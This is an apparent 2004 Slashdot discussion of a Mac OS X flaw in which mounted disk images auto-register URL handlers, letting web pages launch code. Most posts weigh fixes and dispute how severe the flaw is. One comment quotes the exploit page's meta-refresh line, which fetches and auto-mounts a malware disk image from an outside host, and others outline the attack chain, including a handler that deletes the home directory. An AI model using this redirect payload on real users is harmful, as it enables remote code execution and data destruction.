      I'm a Mac owner. I've owned nothing but Apple computers, first an Apple IIGS then a series of Macs. I love them, and I think Apple is great. But that doesn't prevent me from facing reality.

      The fact is, it doesn't matter if "only" your user account is compromised, and root remains secure. What can a trojan possibly do to your computer that you don't want it to do? It can delete files, spy on you, and proxy spam or other malicious network connections. It can do all of this with "only" your user account. You don't have to be root to proxy anything. You don't have to be root to run a keylogger or run a heuristic that greps for credit card numbers. You don't have to be root to trash all of the files in your home directory, which should be the only ones you care about. Who cares if the trojan can't trash the stuff in /System? You can get that off of a CD in half an hour. It's the documents, pictures, movies, and music that you have that are difficult to replace, and owning your user account is enough for a virus to destroy them.

      The unix permissions model is great on multiuser systems, but on a home desktop it really just doesn't help that much. It's nice, but it fails to protect that which I care most about.

      --
      Mod down posts with a "Free Mac Mini/iPod" sig, they're spam!
  15. This is no news by karnat10 · · Score: 1

    The solution I proposed on the previous article already takes this into account.

  16. Also uses meta-refresh by tbmaddux · · Score: 4, Interesting
    The Finder automatically registers all applications as it becomes aware of them, such as when they are dragged onto the user's disk or when the user navigates to a folder containing them.
    and as we see with this exploit, whenever a volume is mounted.
    IMO the volume should never be downloaded or mounted. The exploit page includes the following:
    <meta HTTP-EQUIV="refresh" content="0; URL=disk://www.geekspiff.com/unlinkedCrap/osxMalwa re.dmg">
    So first off this is another exploit of the "disk:" protocol handler. The arbitrary protocol depends on the automatic download and mounting of that DMG file through the handler. It's definitely a security hole for that volume to get auto-mounted through meta-refresh, and I question whether it should even be downloaded. At a bare minimum the download should obey the preferences set in Safari about whether or not to open "safe" downloads, and disk image autorun upon mounting should be deactivateable (if not disabled entirely).
    --
    Can't you see that everyone is buying station wagons?
    1. Re:Also uses meta-refresh by Graymalkin · · Score: 4, Insightful

      The disk: protocol is designed to automount images off the web, that is why it exists in the first place. Developers can offer up images off their sites users can mount directly so there's no need to download the image, install the app, and delete the image. Once the app is installed the user can just unmount it. It is a nice functionality but Apple needs to sandbox the process since an image mounted off the web should be untrusted.

      --
      I'm a loner Dottie, a Rebel.
    2. Re:Also uses meta-refresh by Anonymous Coward · · Score: 0
      So first off this is another exploit of the "disk:" protocol handler. The arbitrary protocol depends on the automatic download and mounting of that DMG file through the handler.
      I'm not sure about that, it seems ftp:// and afp:// might also work.
    3. Re:Also uses meta-refresh by m3talsling3r · · Score: 2, Insightful

      I must point this out. This exploit is as much of an exploit as say... http: ... or telnet: ... or (gasp) ftp: . I could go on but frankly it's pointless. This is no exploit. It is simply the proper use of a protocol.

      If you want to be fair about it, to become a security risk, it would have to have access to something.

      As far as the dmg thing goes, a mounted dmg shows up on your desktop right away, A screen pops up showing it mounting, etc... There's no missing what is going on by even the simplest mac user.

      Disk access is another issue. Is this exploit being run as root? Administrator? Against other users of the system? Does it somehow exploit suid or chown? Is it remotely executable?

      The answer is almost usaully a resounding no!

      Then it's simply not an exploit. It can do nothing. End of story.

      --
      My sig is as boring as you...
    4. Re:Also uses meta-refresh by Anonymous Coward · · Score: 0

      Wait. Wait.

      Apple has found a design flaw in Microsoft's web integration software.

      I wonder if Bill will pay Steve a consultation fee or something ...

    5. Re:Also uses meta-refresh by steeviant · · Score: 4, Informative

      Actually, this IS an exploit.

      Using this technique, an attacker can cause a disk image to open on your machine, the OS will then faithfully install any arbitrary URL handlers that applications on that disk image say they can handle (for example a deletefile: URL handler), then the same website can forward you to a deletefile://~ URL, thus deleting your home directory.

      While it would be easy to tell that the web site is opening a disk image, and the application it starts would probably appear in the Dock, it doesn't make it easy to prevent the Application on the disk image from being executed using this method.

    6. Re:Also uses meta-refresh by Anonymous Coward · · Score: 0

      Please read the PA whitepaper carefully, the last thing we need is people spreading disinformation about security issues. The issue is not the handling of the disk://, ftp:// or afp:// protocol. It's that the OS automatically registeres any application that advertises itself as a protocol handler on mounted volumes. It is not a remote root hole, but that does not mean that it is not an exploit. And from the latest developments on the MacNN forums, there is even more to come.

  17. Much Ado About Not Much... by lgw4 · · Score: 5, Interesting
    I think this is mainly a PR stunt.
    <quote>
    Sample Exploit

    Ive written a sample exploit that delivers and executes its payload without user intervention and operates by registering its own URL scheme handler. Until Paranoid Android, there was no way of protecting against this attack, which freaked me out enough to write Paranoid Android.:)

    If you click the sample exploit link below, heres what will happen:

    • A disk image named MalwareDiskImage will be mounted on your desktop.
    • LaunchServices will read the Info.plist file of the application in this disk image automatically, and register the application as the default handler for URLs with a 'malware' scheme.
    • The webpage will wait 10 seconds, and then redirect to malware:unused, causing LaunchServices to launch the payload application within the disk image.
    • The application within the disk image will write a text file to the users home directory called owned.txt explaining that the machine has been exploited, will present an alert to the user, and will eject the disk image.

    Because this sample exploit registers its own URL scheme, none of the methods people had been using involving disabling certain scripts, moving Help.app or changing the 'help' URL scheme would protect against it. At this time, only Paranoid Android provides protection from it.

    benign sample exploit -->innocousPage.html

    Portions of this sample exploit are based heavily on a prior sample exploit at insecure.ws Conclusions

    Until Apple fixes this vulnerability, you should install Paranoid Android and surf safely.

    Copyright Jason Harris, 2004, All Rights Reserved

    </quote>
    I'm using 10.3.3 and when I click on the sample exploit URI, nothing happens -- nothing. I've tried this thing 10+ times, scoured my HD for "owned.txt" and can find nothing. Of course, I installed the RCDefaultApp PreferencePane a couple of days ago and had already followed the suggestions posted by John Gruber on http://daringfireball.net but since Paranoid Android is the ONLY thing that can protect against this exploit, I'm at a loss as to explain why my machines aren't affected.
    1. Re:Much Ado About Not Much... by Rosyna · · Score: 4, Informative

      the sample exploit is only for disk.

      Try one of these if you are so confident this is a PR stunt: http://ozwix.dk/OpnAppFixer/testit.html

    2. Re:Much Ado About Not Much... by Ilgaz · · Score: 1

      Its ALWAYS PR stunt... One of few mac security companies demoed the problem with finder (Intego, mp3). remember the names they were called?

      Mac OSX users (not the old school ones remembering os 7-8-9) thinks their Mac is at NSA terminal level security, its the biggest threat to mac security itself!

    3. Re:Much Ado About Not Much... by Anonymous Coward · · Score: 0

      I took a look at your URL and guess what? It says, "Alternatively disabling auto-open of safe files, and disabling some other schemas (including the disk shema) should also work."

      So how does this refute lgw4 in any way? And what is your definition of PR stunt anyway? In my book, putting up a webpage, suggesting checking out other products, etc., while stating that Paranoid Android is the only fix, when it *clearly* isn't, posting to Slashdot and no doubt arranging for more publicity elsewhere, more than qualifies.

      I'm willing to be generous and say maybe things just got blown out of proportion. Clearly Jason Harris (aka smeger) has performed a public service by discovering this security hole and then coming up with a fix. But that means it's particularly imperative not to fall prey to sensationalism. You should add a statement explaining that there are other fixes, but 1) they are "complicated" for the average user (but give links to the relevant info, say) 2) make some kind of case that Paranoid Android is a better defense.

    4. Re:Much Ado About Not Much... by Anonymous Coward · · Score: 0

      Actually, mounting an image is not the only way to have LaunchServices register the protocol. This is also covered in the MacNN thread. So a user can block all disk mounting protocols and in the case covered in the thread it would still be possible to register the malware. It is a lot less likely case, but it exists nonetheless. In that case, it seems Paranoid Android is still the only defense.

      I'm not sure I should spell it out, but if someone calls me a wussy for not doing so, I'll find the link for the post where its covered. ;)

    5. Re:Much Ado About Not Much... by ky11x · · Score: 1

      I'm at a loss as to explain why my machines aren't affected.

      Since you've already disabled the "disk:" protocol, the image isn't mounted and thus the sample exploit is not working for you. This does not mean that you are safe against "ftp:" and "afp:" exploits unless you've disabled those protocols as well. You can hunt and disable every such protocol and still not be sure you've gotten them all, or you can just use PA to get yourself a little warning for every URL scheme save those that are "trusted."

    6. Re:Much Ado About Not Much... by lgw4 · · Score: 1
      Rosyna,

      Nothing new here. I clicked on every link on the page and the only thing I got was a copy of "Test.dmg" in my Downloads folder after clicking http://ozwicx.dk/OpnAppFixer/Test.dmg (the second link on the page), which of course I did not mount.

      I'm not debating whether or not this is a real security issue -- it is evident that it is. What I'm debating is whether or not Paranoid Android is the only way to protect oneself from it as is claimed on the Unsanity web site. It is not, and thus I'm still baffled by the baseless claims to the contrary. And I quote:

      Because this sample exploit registers its own URL scheme, none of the methods people had been using involving disabling certain scripts, moving Help.app or changing the 'help' URL scheme would protect against it. At this time, only Paranoid Android provides protection from it.

      If not a PR stunt, then what?
  18. Fixing without losing the functionality? by Midnight+Thunder · · Score: 3, Interesting

    Reading up on the feature that causes the problem, it looks like something in normal situations to be very useful. Rather than simply disabling this functionality, it would certainly seem better to find a solution the security issue. Maybe one would be to require admin permission before activating the URL helper, with a warning of what it would do?

    I had thought about requiring applications to be signed, and non-signed applications requiring extra permission, but since this issue is likey to arise from unsigned applications that the user would accept anyhow, would we just be gaining a false sense of security?

    I would be curious to read your ideas.

    --
    Jumpstart the tartan drive.
    1. Re:Fixing without losing the functionality? by Jord · · Score: 1
      The best idea I have heard so far was proposed somewhere else on this discussion thread. Simply make disk: mounted images non-executable. That would require the user to drag an application off the disk image to "somewhere else" and then execute it manually.

      To me this seems to be the cleanest solution. No pop-up windows warning you of dire consequences (ala windows crap) just a simple can't execute this from here chance to the protocol handlers.

      Not my idea but I think it is the cleanest and most elegant I have heard so far.

    2. Re:Fixing without losing the functionality? by daveschroeder · · Score: 3, Informative

      The best idea I have heard so far was proposed somewhere else on this discussion thread. Simply make disk: mounted images non-executable. That would require the user to drag an application off the disk image to "somewhere else" and then execute it manually.

      That's a really bad idea. This problem is easy to fix without losing functionality, or doing something stupid like disallowing execution on mounted disk images. The reason that's stupid is because this doesn't affect only 'disk:' mounted images: it affects afp, ftp, smb, webdav, nfs, and any method of mounting a volume. It's also really stupid because pretty much every single installer under the sun runs from a disk image. Having to copy it off first to even run it is a really, really, really bad idea because it would break the whole idea of disk images in the first place.

      Fortunately, there's a simple fix: instead of letting registration of arbitrary handlers happen by LaunchServices *before* an application is even launched - which is the key to this exploit - Apple should only allow registration after an application is launched. This would require actual user interaction to specifically launch an application. That alone would protect against this exploit.

    3. Re:Fixing without losing the functionality? by Jord · · Score: 3, Interesting
      The original idea would be to place disk: mounted images into a non-executable sandbox. Not images that you download and mount. These are two different things. Currently they are not being treated differnetly and the suggestion was/is that they should be handled slightly differently.

      Trying to do one blanket change to fix everything is not the right answer in my opinion. The built-in protocols need to be looked at but sandboxing disk:// mounted images would solve the issue of maliciously created protocol handlers.

      I have tested a lot of software on my OSX machine and I do not recall anyone ever using the disk:// protocol for an installer.

      Forcing the user to launch an application just to register it's handlers would put a serious dent in the way that OSX handles applications. Personally that is a piece of functionality I would rather not lose.

    4. Re:Fixing without losing the functionality? by Fulkkari · · Score: 1

      It's a tricky question. Functionality may indeed break in many cases. In that sense requiring password is not a bad idea. It can't however be the admin password as you suggested, because that would prevent different users from having different default applications for mail, http etc.

      A message box asking if the application should be registered as the default application for a protocol would be the best I can currently think of right now. Protocol handlers should also not be automatically searched from a mounted image.

      A change that may occur is a message box in Safari asking if you want to download a file. This might be for files that where automatically redirected.

      Whatever the patch is going to be, I don't think we are going to see any dramatic changes in it. It is going to be *simple*.

      In the next release of Mac OS X however...

      --
      I demand the Cone of Silence!
    5. Re:Fixing without losing the functionality? by daveschroeder · · Score: 3, Interesting

      The original idea would be to place disk: mounted images into a non-executable sandbox.

      Ok, but this still won't work, because disk:// isn't the only thing affected. The exploit can affect ANY type of network mounted volume: afp, smb, ftp, webdav, nfs, etc. Are you telling me that you shouldn't be able to execute anything from ANY network volume? That would break loads of things. (And also, even though the disk:-mounted-images-in-a-sandbox idea is invalidated because of this, just because you have never used disk: doesn't mean other don't.)

      Therefore, consider a slightly scaled back version of my previous suggestion:

      Don't allow URL/URI helpers to automatically register before execution of the application from network mounted volumes. I don't really see any other way to solve this. To reiterate: just making disk: mounted images non-executable sandboxes DOES NOT solve this problem; you'd have to make ALL network volumes non-executable sandboxes, and that simply will not work. If URL/URI helpers are disallowed from registering automatically from network volumes only, the problem is solved: this exploit is killed, but any apps on local volumes are allowed to register as usual.

    6. Re:Fixing without losing the functionality? by Anonymous Coward · · Score: 0

      Actually, the fix seems pretty simple. Just have the web browser ignore any protocol handler which mounts a volume. They could be used with "Connect To Server", but not in Safari.

    7. Re:Fixing without losing the functionality? by Anonymous Coward · · Score: 0

      Not really...because you want browsers to be able to do this, for one thing, and for another, it would require changes to all browsers. The suggested fix of not allowing apps on remote volumes to register URL helpers with LaunchServices is one (relatively) simple fix in the OS itself that fixes the problem completely.

    8. Re:Fixing without losing the functionality? by Anonymous Coward · · Score: 0

      > Not really...because you want browsers to be able to do this

      I can't think of any good reason to have a web browser mount a volume automatically, nor have I ever seen anyone use this feature -- Is this for iDisk?

      > The suggested fix of not allowing apps on remote volumes to register URL helpers with LaunchServices is one (relatively) simple fix

      No, this will break network setups with shared app directories.

  19. Exploit doesn't work for me by xpccx · · Score: 1

    Running 10.2.8 (updated as of yesterday's fix from Apple) I can't get the .dmg file to even download when clicking on the example exploit. I get the following error message:

    "osxMalware.dmg" failed to mount due to error 2. (No such file or directory)
    Did Apple's fix take care of this or is the exploit no longer available?
    1. Re:Exploit doesn't work for me by crazyphilman · · Score: 1

      I'm running 10.2.8 also, and for the first test link he offered, I got the error message you mentioned, but I also got a popup in Mozilla which said the protocol was not registered. For the second link, I got no error message, but I got the "protocol not registered" popup. In both cases, no files were downloaded to my machine and nothing seemed to have happened.

      He mentioned that there was "anecdotal evidence" that users of Jaguar (10.2.x) are not affected by this vulnerability. Maybe it's a good thing we haven't upgraded! ;)

      --
      Farewell! It's been a fine buncha years!
    2. Re:Exploit doesn't work for me by Anonymous Coward · · Score: 0

      Try this newer Apple update with the explanation there, it might help.

  20. More Shoes by rixstep · · Score: 2, Interesting

    Can't this one escalate even further?

    Can't trojans that get onto Macs turn into bona-fide worms, distributing themselves via Address Book and HTML e-mail that does the 'disk://' download?

    1. Re:More Shoes by Amiga+Lover · · Score: 4, Interesting

      Can't trojans that get onto Macs turn into bona-fide worms, distributing themselves via Address Book and HTML e-mail that does the 'disk://' download?

      Theoretically yes.

      It's certainly possible to click on a link and have it run code that emails everyone in your address books with a mail that also has that same link in it. That would spread the link to many other people, many of whom would click on it.

      However as yet the code only runs in userland and can stay executing no longer than a current session. rebooting will kill it and it won't come back unless clicked again. Because of that its ability to drop a payload that will be useful later to intrude on the machine is limited.

    2. Re:More Shoes by loquacious+d · · Score: 1

      ...assuming that it doesn't register itself as a login item. Those are pretty easy to spot/kill, though.

  21. The workarounds available at the moment by theolein · · Score: 4, Informative

    There are a number of workarounds at the moment:

    1. The best is Paranoid Android linked to in the article itself. PA itself uses the APE kernel extension from Unsanity, however, and some people have reported problems with this.

    2. Another method is to use Internet Exploere, MisFox or MoreInternet to set the following protocol helpers which can mount volumes, to point to an innocuous application, such as Chess.
    fpt:
    afp:
    disk:
    disks:

    3. In a public environment where there are some automatcially mounted network shares such as in a university, school or company, you would also have to take into account protocols such as:
    nfs:
    webdav:
    smb:
    cifs:
    but these are less likey to be used in conjunction with this vulnerability as it would be more difficult to get one of these users to simultaneously go to a webpage that exploits this.

    1. Re:The workarounds available at the moment by Anonymous Coward · · Score: 0

      PA itself uses the APE kernel extension from Unsanity, however, and some people have reported problems with this.

      Just people? 40-50% of all crash logs that Apple receives from the built in crash reporter are caused by APE or APE related plugins. That is an extreme number of people.

      Personally I try to keep such harmful software off my system.

    2. Re:The workarounds available at the moment by zjavier · · Score: 2, Interesting

      At my hand, typing

      applescript://

      launched the Script Editor. I was unable to use other applications unless I quit the Script Editor.

  22. Adding protocol handlers should require admin by ZiggyM · · Score: 1

    Dont know where these associations are stored, but that file should be readonly for staff, and require authentication when changed. This also catches changing the protocol handler.

  23. you make it sound... by hak1du · · Score: 0, Troll

    Apple just can't get any breaks lately.

    You make it sound as if this is something that people are doing to Apple or that is like a natural disaster.

    It is not. If any manufacturer ships software with security holes, it is that manufacturer's choice: they are trading off security against faster shipment and better (=more expensive) software engineering practices.

    And the public relations fallout is also Apple's responsibility: it is, after all, Apple that positioned their system in their paid ads as supposedly "more secure".

    1. Re:you make it sound... by andreMA · · Score: 3, Informative
      Apple that positioned their system in their paid ads as supposedly "more secure".
      I don't recall ever seeing such advertising... not saying you're wrong, but can you cite an example? The only thing I recall is Apple making a public statement to the effect that "While no system is totally secure, we have an excellent record, yadda, yadda."

      I'm not a mindless Apple apologist. This current set of URI handler vulnerabilities is horrendous and I'm pissed. Thankfully this is the exception rather than the rule... at least to date.

    2. Re:you make it sound... by hak1du · · Score: 2, Interesting
      On Apple's main OS X page:

      Safe and secure Because it's built on Open Source standards, Mac OS X provides you with time-tested security and reliability not available on proprietary systems.


      Both the statement and the reasoning are wrong. Security is a property of the whole system, not something you can implement at one level and then forget about it. The existence of all the stuff that Apple adds on top of a UNIX-like base system (the user interface, Netinfo, fancy file abstractions, NeXTStep libraries, HFS+, Quartz, OS 9 emulation, Macintosh package system, etc.) mean that you can trust OS X much less than a traditional UNIX system.
  24. little snitch by rj4x · · Score: 1


    the Snitch seems to block bogus protocol handlers. as long as LS queries you about the "diskimages-handler", the connection can be blocked, and the image fails to mount. camino gives me "malware is not a registered protocol" :) strange tho--in the FA they have the link to the ftp exploit as well. i know very well that ftp is allowed by LS to connect whenever/wherever so i tried that exploit. it didnt work either, not clear why. so with the apple update and Little Snitch, mac users should be safe...
    but for how long??

  25. The reaction of my friends by Go+Aptran · · Score: 4, Funny
    My Windows using friends keep calling and consoling me... I think they expect me to kill myself, or something.

    --

    "Under the spreading chestnut tree, I sold you and you sold me."

  26. Paranoid Android -- 1.0, not 1.1!! by Trillan · · Score: 3, Informative

    While Paranoid Android 1.1 is better than nothing, it allows some exploits to slip through. Basically, it allows ftp links to mount in the Finder. Once this is done, the Finder will register any URL handlers present. That can include URL handlers that Paranoid Android trusts.

    All of this is even after the 5-24 security update is installed, of course.

    Apple really need to do something about Launch Services. I think the best bet would be to mark newly discovered URL schemes as untrusted. When the user tries to run an untrusted scheme for the first time, warn them about it.

  27. Not only with disk images... by Swedentom · · Score: 1

    This exploit works equally good, or even better, with ordinary zip files. Safari auto-expands these on-the-fly, so it's much faster than mounting a disk image. You can also use .sit or .hqx or whatever; the important thing is that LaunchServices registers the application.

    This is how I think Apple could solve this:
    When an application first is detected, all its URL schemes is un-flagged. The first time the user launches that app, they get flagged, and can be used freely.

    If the user (or the exploit!) tries to use these URL schemes before they're flagged, a dialog appears, requesting the user to accept the launch before opening the URL.

    --
    Sig Nature
    1. Re:Not only with disk images... by bw5353 · · Score: 2, Insightful
      If the user (or the exploit!) tries to use these URL schemes before they're flagged, a dialog appears, requesting the user to accept the launch before opening the URL.

      I do not have any better solution, but as the sky is overcast today I'm gonna complain about yours anyhow.

      You are not alone in suggesting that the user should confirm what should happen in a dialog/pop-up/what-not. The problems are

      a) There are too many clueless users out there, who have no idea of what they are doing.
      b) Even if you are full of clues and the geekiest guru of the town, there will be moments when a dialog simply cannot give enough information on what can safely be done.

      In an ideal system you (geek or your grandma) should never have to worry about understanding what is going on and judging whether it is safe or not.

      But, as said before, that does not mean I have any suggestion on how to handle this particular problem in any better way. Sorry...

    2. Re:Not only with disk images... by Swedentom · · Score: 1

      There are too many clueless users out there, who have no idea of what they are doing.

      Okay, fair enough. Then instead of displaying a dialog box, let's disable the URL schemes completely until the first launch of the app. :-)

      --
      Sig Nature
    3. Re:Not only with disk images... by bw5353 · · Score: 1
      Then instead of displaying a dialog box, let's disable the URL schemes completely until the first launch of the app.

      I like that! In other words: MacOS X will be the safest system in the world until you actually start using it.

    4. Re:Not only with disk images... by Anonymous Coward · · Score: 0

      How long before some hacker finds an exploit for the resulting pop-up window, and takes over your PC? ;)

  28. "Yet another?" by mpwoodward · · Score: 2, Funny

    Yeah, and that brings the total number up to two or three exploits. Let's all just switch back to Windows--it's obviously a superior, more secure operating system!

    Nice freakin' headline.

  29. Little Snitch by oDDmON+oUT · · Score: 2, Interesting

    [disclaimer:not affiliated with obdev, just a satisfied user]

    Anyone surfing without an application sensitive firewall should catch a clue.

    The first time Mozilla tried to mount a sample exploit .dmg Little Snitch popped up wanting to know if this should be allowed.

    Granted, your run of the mill user would likely click through allowing the mount, but they would probably do the same with Paranoid Android, and LS covers all applications trying to establish external connections, a real plus in todays wired world.

    --
    Some days it's just not worth
    chewing through my restraints.
  30. I also cannot get it to work by spitzak · · Score: 1

    I have RCDefaultApp but I only disabled the disk: and disks:, ftp: is still set to finder. The first demo did nothing. The second one certainly did mount the disk image and opened the finder to show it, but I waited quite awhile (the disk appeared in less than 2 seconds) and nothing happened. Any clues why my machine seems immune?

  31. Gratifying by Anonymous Coward · · Score: 0

    It's been very gratifying to read through this entire thread and realise two things.

    1. No one in this thread is a professional software engineer.

    2. The median age of the contributors is way under eighteen.

  32. My experience trying this on Jaguar (10.2.8) by crazyphilman · · Score: 3, Informative

    Ok, my configuration:

    Mac OS/X 10.2.8, with all services turned off and the firewall turned on, denying everything, and all Directory Access protocols turned off (what can I say, I'm a little paranoid). I also have a hardware firewall between my laptop and my cable modem. Belt and suspenders, right?

    I don't use Safari because it doesn't seem to be too stable on my machine for some reason (gypsy curse?). If I install it, it crashes on some of the sites I visit (I think this is a Java issue of some kind). So I deleted it.

    For a browser, I generally use Mozilla 1.6, although I like to play with Firefox and Camino, too. I'll probably switch to Firefox permanantly when they get past the 1.0 hurdle. In my browsers, I have killed most of the plugin handlers except for the obvious ones, like mp3 and so on. Plus, I'm sadistic about popup windows and cookies.

    OK, enough introduction.

    I tried the vulnerability links on the site, and they didn't work on my system. The first link produced an error message claiming a "type 2" error, then a popup which said that the protocol in use was not a registered protocol. The second link didn't produce an error, but it did produce the registered protocol warning. Neither link resulted in a file being saved to my machine, or indeed any other visible effect.

    Note that the website did mention that users of Jaguar might not be vulnerable, and that there was anecdocal evidence for this. So, let me add my anecdote to the collection of anecdotes already present, and say that if you're running a similar setup to mine, you might be alright.

    -Phil

    --
    Farewell! It's been a fine buncha years!
  33. Ok.. but... by Anonymous Coward · · Score: 0

    I understand that this is an unwanted hole in the system... but how does that really affect me? Ok, someone can mount an image from my desktop if it has an application in it. Can they run the app too? If not, then wouldn't it be my dumbass who clicks the app that was mounted, i.e. a potential virus?

  34. No Likee by Anonymous Coward · · Score: 0

    PA is intrusive. So are all the haxies from Unsanity. It's 'unsane' to use such things. It amazes me that such a thing is even possible on a supposedly secure 32-bit protected memory system, but given that PA seems to want to deposit its files in proprietary system areas, it's certainly cause for a heads-up alert. As Ken Thompson said, 'keep your hands off the drivers', and this applies to system code as well. There has to be a better solution -- this one is potentially more dangerous than the threat it addresses, and it's just downright bad programming practice period.

  35. Not a bug, but a misfeature by santiago · · Score: 2, Interesting

    An important point is that this family of exploits is not the result of any programming errors. It is the result of everything working precisely as it was intended to, but there being unforeseen uses for the design as originally specified.

  36. now my firewire drive doesn't work by Anonymous Coward · · Score: 0

    this 5-24-04 security update says that it does something about "helpviewer" but this topic leads me to believe its really doing something to the disk mounting.

    that said....
    i installed it today, and now my external firewire drive that i'm using with my powerbook randomly spins down like i ejected it. it really likes doing this in the middle of tasks. which is not any fun for me. i've already lost data because of this.
    and i also can't eject it using the little eject icon next to the disk icon.

    anyone else having problems like this?
    anyone know of any solutions and want to help a coward out?

  37. This Is Not Computing by Anonymous Coward · · Score: 0

    If the Security companies and Windows users who hate the fact that OS X gets all the attention for being more secure, why don't you all just invest in writing a virus already. If you want to "help", Call Apple, don't fill the news with, "oh my god, Apple's security sucks". If you download applications from unsecured sites or IRC or newsgroups don't come to Slashdot and say you are apalled at how unsecure a platform is. The system is built to be secure and if the user wants to leave their browser open to automount downloads go ahead, I don't think that option was ever set to default by Apple and I don't think anybody here knows how difficult is to get AFP, Samba and other protocols to work or know enough that all you are doing is trying to make a MOUNTAIN out of a MOLEHILL.

    All I know, this isn't "news" per se and now I can't stand macslash or slashdot as "news" sources cuz it's nothing but conjecture.

    Enjoy! all you paranoid people with tin foil hats on.